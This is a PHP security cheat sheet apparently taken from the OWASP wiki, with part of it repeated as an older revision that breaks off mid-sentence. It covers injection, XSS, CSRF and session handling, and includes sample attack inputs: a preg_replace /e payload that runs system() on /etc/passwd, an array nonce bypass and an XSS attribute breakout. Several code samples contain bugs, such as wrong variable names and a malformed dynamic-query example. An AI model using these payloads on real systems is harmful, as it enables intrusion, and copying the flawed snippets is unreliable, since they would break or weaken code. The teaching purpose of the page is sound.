$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($link, $current_user->username);
$res = mysqli_query($link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-05-02T09:19:57Z

Luke Plant:

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature() {
global $db_link, $current_user;
$username = mysqli_real_escape_string($link, $current_user->username);
$res = mysqli_query($link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature()) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
